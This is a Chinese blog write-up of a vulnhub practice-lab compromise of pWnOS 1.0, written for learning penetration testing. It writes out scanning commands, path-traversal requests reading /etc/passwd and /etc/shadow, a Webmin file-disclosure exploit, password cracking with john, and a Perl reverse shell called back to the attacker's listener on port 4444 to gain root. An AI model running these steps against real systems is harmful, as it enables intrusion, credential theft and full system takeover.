记录一次pWnOS1.0打靶(vulnhub) webmin漏洞利用


前言

萌新第一次写blog,各位大佬别喷。有错误和补充的地方希望各位大佬各位师傅指出
本文的打靶过程涉及到关于文件包含漏洞、webmin任意文件泄露、john密码破解、perl反弹shell等。好多思路都从大佬们学到不少东西

本博客内容借鉴Bossfrank和红队笔记大佬

链接:

「红队笔记」靶机精讲:pWnOS1.0 - 在Perl CGI架构下构造反弹shell,你可以吗?

Bossfrank大佬的链接:红队打靶:pWnOS1.0打靶思路详解之webmin漏洞利用

靶机的下载地址:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip

第一步:信息收集

nmap扫描

nmap -sn 10.10.10.0/24                             扫描该网段的主机IP
nmap --min-rate 10000 -p- 10.10.10.129              最小的发包速率    -p- 扫描所有端口
nmap -sT -sV -O -p22,80,139,445,10000 -p- 10.10.10.129                      使用tcp扫描   探测服务/版本信息
nmap -sU --min-rate 10000 -p- 10.10.10.129         使用UDP扫描 扫描所有端口
nmap --script=vuln -p22,80,139,445,10000 10.10.10.129                对IP地址为10.10.10.129的主机的22,80,139,445 10000端口执行扫描。'--script=vuln'表示使用vuln脚本进行漏洞扫描。

目标靶机ip 10.10.10.129
在这里插入图片描述
tcp扫描到端口22,80,139,445,10000
在这里插入图片描述
端口开放的服务版本和操作系统
在这里插入图片描述
udp扫描结果(正常用不上udp保险起见还是扫一下),开发137,10000端口
在这里插入图片描述
扫描出80的一些端口和10000端口的Webmin File Disclosure文件泄露漏洞
在这里插入图片描述

在这里插入图片描述

第二步:web渗透

80端口

可以看出是一个填写表单的东东
在这里插入图片描述
挨个点击访问发现似乎只是拼接,大概就是在后端字符串拼接了一下。并没有有用的信息。同时观察到url的有很多参数,尝试文件包含和和sql注入。在参数中添加’参看有没有变化。
然后name试试sql注入语句’ or 1=1 #(图没截呜呜直接用大佬图了)
在这里插入图片描述

在这里插入图片描述
木有啥变化,回显变成/,单引号做了转移没啥变化了
然后再尝试文件包含我们将参数的值添加…/…/…/…/…/etc/passwd尝试读取passwd文件,很遗憾也没能成功
最后回到填写表单的url中,将url中的concat的参数值添加…/…/…/…/…/etc/passwd,尝试读取passwd文件成功了
在这里插入图片描述
可以读取到passwd文件,再尝试shadow,很遗憾的无法读取

并尝试读取/etc/shadow
发现无法访问

使用curl尝试访问(俺也不知道当时做的时候为啥要用curl可能做的时候怕遗忘啥东西)
curl ‘http://10.10.10.129/index1.php?help=true&connect=…/…/…/…/…/…/…/…/etc/passwd’
curl ‘http://10.10.10.129/index1.php?help=true&connect=…/…/…/…/…/…/…/…/etc/shadow’
在这里插入图片描述
目前80端口得到的信息只有目标靶机的四个用户名以及一些用户权限和shell
往下做去康康nmap脚本扫描出的三个目录
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在/php目录中发现一个后台目录
在这里插入图片描述
在这里插入图片描述
尝试sql,弱口令,最后点击取消。
最后跳转到了一个登录失败的页面,暴露了phpMyAdmin的版本2.6.3-pl1,先记下指不定后面用的上
在这里插入图片描述
80端口的信息收集到此为止

现在去看看10000都有啥信息

10000端口

访问发现是个后台登陆
在这里插入图片描述
尝试弱口令、sql注入,都无法登录,提示登录失败。

回顾在上面nmap扫面结果中有webmin漏洞
在这里插入图片描述

第三步:webmin文件泄露的利用

searchsploit 搜索webmin相关的漏洞

searchsploit webmin

在这里插入图片描述
又到了经典环节咋选
此处借用Bossfrank和红队笔记大佬两大佬选择漏洞思路的思路
————————————————
转载:这部分为CSDN博主「Bossfrank」的原创文章的内容,
原文链接:https://blog.csdn.net/Bossfrank/article/details/131478886

结果搜出了很多,看似眼花缭乱不知所选,其实是有思路的。首先我们要选择的是webmin的漏洞,排除前三条。另外我们尽量不选择Metasploit的利用方式,据红队笔记大佬说,Metasploit好比一个黑盒,我们看不到执行的过程,不利于学习渗透。其次需要认证Authenticated的漏洞我们也不选,因为此时我们都不知道如何登录webmin。CSRF的漏洞优先级较低,也先不考虑。结合之前nmap漏洞脚本扫描的结果,我们应该侧重选择文件泄
露相关的漏洞Arbitary File Disclosure,1997和2017应该都可以,这俩只是编程语言的不一样。我们就选择perl编写的2017.pl吧,吧2017.pl下载下来。
————————————————
这块是自己写的一点小注释

####这么一堆给出的漏洞利用很多没啥用,英文不好的给了注释对着看就知道为啥没有用了####
####正常情况下暴力破解的方式优先级别都比较低####
####工具给出的结果看不懂要善用人工智能工具 列:文心一言、gpt等 ####
Brute Force / Command Execution : 扫描是一种暴力破解方法,用于尝试猜测密码或密钥    优先级低
Directory Traversal(目录遍历)

Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing:这个漏洞允许攻击者伪造用户会话的ID,从而以其他用户的身份进行未授权访问。

Webmin 0.x - 'RPC' Privilege Escalation:Webmin 0.x 中的 'RPC' Privilege Escalation 是一个安全漏洞,允许攻击者提升其在系统上的权限。


Code Input Validation (代码输入验证)

Web Brute Force(Web暴力破解)


Multiple Vulnerabilities( 表示多个漏洞)


Remote Code Execution(远程代码执行)


HTML Email Command Execution(允许攻击者在HTML电子邮件中执行恶意代码)

一顿排除后,目光放到了2017.pl
下载下来

searchsploit -m 2017.pl

searchsploit webmin -m 2017.pl下载文件
查看如何使用 2017.pl ##.pl是Perl源代码文件的默认扩展名##
perl 2017.pl --help

利用格式:Usage: 2017.pl
在这里插入图片描述

目标靶机为http协议 所以target为0
选择的target应该是http,即参数0, 根据Example,我们可以尝试读取/etc/passwd文件试试:
perl 2017.pl 10.10.10.130 10000 /etc/passwd 0
读取成功
在这里插入图片描述
再读取/shadow文件
perl 2017.pl 10.10.10.130 10000 /etc/shadow 0
在这里插入图片描述

john破解密码

复制这四个用户以及root用户复制到一个文件中,并命名为hash
在这里插入图片描述
在这里插入图片描述
使用john进行密码破解。
在vulhub靶机中涉及到密码破解的地方,作者为节约时间通常都使用rockyou字典。实战中密码破解时间与目标密码强度和字典强度有关

john hash --wordlist=/usr/share/wordlists/rockyou.txt

扫描结果出来了在这里插入图片描述
账户vmware 密码h4ckm3

然后就是ssh登录了(g这步又没截图借用大佬的图了)
ssh vmware@10.10.10.130在这里插入图片描述
ssh登录的时候报错提示说没有匹配的host key
这个问题参考bossfrank大佬的这篇博客
红队打靶:LampSecurity:CTF4打靶思路详解(vulnhub)_lampsecurityctf4-CSDN博客

第四步:登录ssh,获取初始立足点

此时获得了初始立足点,接下来就是研究如何提权
sudo -l查看具有当前用户具有哪些权限

sudo -l

在这里插入图片描述
发现需要密码,跳过,查看计划任务有无可以利用的地方
在这里插入图片描述
发现没有利用的计划

查看目录和文件,没有找到敏感信息和可用的信息

第五步:提权

俺寻思这步是该内核提权来着,然后看到红队笔记提权的思路真牛逼
利用webmin的文件泄露漏洞,读取到shadow文件,而shadow文件需要root的权限才能读取,因此可以
相当于这个webmin的任意文件漏洞可以导致攻击者以root权限读取文件。那么可以上传一个反弹shell的脚本,然后利用这个文件泄露漏洞,就能以root权限运行shell

开始实践
首先构建反弹shell,由于webmin是由perl构建,所以使用kali中自带的perl的反弹shell脚本,路径在/usr/share/webshell/perl/perl-reverse-shell.pl,复制下来,重新命名为shell.cgi。改后缀看bossfrank大佬的意思是如果不修改后缀,2017.pl的exp只能以root权限读取shell.pl,而无法执行,也就是无法执行反弹shell

cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi
复制并修改里面的内容
在这里插入图片描述
ip 改成攻击机ip 端口设置为4444
在这里插入图片描述
修改后,用php打开攻击机的http 80端口 用别的打开也可以。
主要目的是让目标靶机能够下载到shell脚本
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
同时在靶机shell中给一个可以执行的权限(不然可能执行不了反弹shell)
chmod +x shell.cgi

在kali攻击机中用nc打开端口监听
nc -lvnp 4444
在这里插入图片描述
记得确认脚本传输的位置
在这里插入图片描述
在这里插入图片描述

然后在攻击机中利用2017.pl脚本触发shell.cgi执行
在这里插入图片描述
执行成功
在这里插入图片描述
最后python -c "import pty;pty.spawn(‘/bin/bash’)"执行一下获得一个更完整shell就结束了
在这里插入图片描述

总结

感觉吧,其实也不是很难,但没思路真的好难做,中间看了好几次不少大佬的blog。感觉难点就是80端口的重判断是否有文件泄露,和searchsploit判断脚本(每次选择都卡半天),和最后大佬的利用2017.pl脚本反弹shell(这一步是真的没想到可以这么做长见识了2333)。 还得多做靶场多扩展思路。

  • 26
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值